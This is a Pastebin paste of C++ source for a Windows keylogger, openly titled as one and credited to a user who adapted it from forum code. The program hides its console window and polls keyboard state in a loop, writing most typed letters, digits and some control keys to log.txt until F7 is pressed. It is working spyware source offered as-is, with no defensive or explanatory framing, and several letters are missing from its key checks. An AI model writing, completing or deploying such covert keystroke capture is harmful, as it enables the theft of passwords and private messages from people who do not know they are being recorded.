pampa_rider

keyloger

Feb 11th, 2021 (edited)
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.43 KB | None | 0 0
  1. // Keyloger.cpp
  2. //2021 Develop with ❤ by pampa_rider (https://github.com/pampa-rider)
  3. //twitter: pampa_rider
  4.  
  5. //Original code from: https://underc0de.org/foro/profile/Jhonjhon_123
  6.  
  7. #include<iostream>
  8. #include<windows.h>
  9. #include <fstream>
  10.  
  11. using namespace std;
  12.  
  13. int main()
  14. {
  15. bool aprete=true;
  16. int hit = -32767;
  17. ofstream log;
  18. log.open("log.txt", ofstream::out);
  19.  
  20.     if(log.fail())
  21.         {cout<<"error al abrir el archivo"<<endl;}
  22.  
  23. HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
  24. ShowWindow(ocultar,NULL);
  25.  
  26. while(aprete)
  27. {
  28.  
  29. if(GetAsyncKeyState(VK_SPACE) == hit){log<<" ";}
  30.  
  31. if(GetAsyncKeyState('A') == hit){log <<"A";}
  32. if(GetAsyncKeyState('B') == hit){log<<"B";}
  33. if(GetAsyncKeyState('C') == hit){log<<"C";}
  34. if(GetAsyncKeyState('D') == hit){log<<"D";}
  35. if(GetAsyncKeyState('E') == hit){log<<"E";}
  36. if(GetAsyncKeyState('F') == hit){log<<"F";}
  37. if(GetAsyncKeyState('G') == hit){log<<"G";}
  38. if(GetAsyncKeyState('H') == hit){log<<"H";}
  39. if(GetAsyncKeyState('I') == hit){log<<"I";}
  40. if(GetAsyncKeyState('J') == hit){log<<"J";}
  41. if(GetAsyncKeyState('K') == hit){log<<"K";}
  42. if(GetAsyncKeyState('L') == hit){log<<"L";}
  43. if(GetAsyncKeyState('M') == hit){log<<"M";}
  44. if(GetAsyncKeyState('N') == hit){log<<"N";}
  45. if(GetAsyncKeyState('O') == hit){log<<"O";}
  46. if(GetAsyncKeyState(VK_CAPITAL) == hit){log<<"Mayus-";}
  47. if(GetAsyncKeyState(VK_BACK) == hit){log<<"BKSPACE";}
  48. if(GetAsyncKeyState('P') == hit){log<<"P";}
  49. if(GetAsyncKeyState('Q') == hit){log<<"Q";}
  50. if(GetAsyncKeyState('R') == hit){log<<"R";}
  51. if(GetAsyncKeyState('S') == hit){log<<"S";}
  52. if(GetAsyncKeyState('V') == hit){log<<"V";}
  53.  
  54. if(GetAsyncKeyState('X') == hit){log<<"X";}
  55. if(GetAsyncKeyState('Y') == hit){log<<"Y";}
  56. if(GetAsyncKeyState('Z') == hit){log<<"Z";}
  57.  
  58. if(GetAsyncKeyState(VK_RETURN) == hit){log<<endl;}
  59.  
  60. if(GetAsyncKeyState('1') == hit){log<<"1";}
  61. if(GetAsyncKeyState('2') == hit){log<<"2";}
  62. if(GetAsyncKeyState('3') == hit){log<<"3";}
  63. if(GetAsyncKeyState('4') == hit){log<<"4";}
  64. if(GetAsyncKeyState('5') == hit){log<<"5";}
  65. if(GetAsyncKeyState('6') == hit){log<<"6";}
  66. if(GetAsyncKeyState('7') == hit){log<<"7";}
  67. if(GetAsyncKeyState('8') == hit){log<<"8";}
  68. if(GetAsyncKeyState('9') == hit){log<<"9";}
  69. if(GetAsyncKeyState('0') == hit){log<<"0";}
  70.  
  71. if(GetAsyncKeyState(VK_LSHIFT) == hit){log<<"SFT-1";}
  72. if(GetAsyncKeyState(VK_MENU) == hit){log<<"ALT-1";}
  73. if(GetAsyncKeyState(VK_F7) == hit)
  74. {
  75. ShowWindow(ocultar,1);
  76. aprete=false;
  77. }
  78. }
  79.  
  80. log.close();
  81. system("pause");
  82. }
Add Comment
Please, Sign In to add comment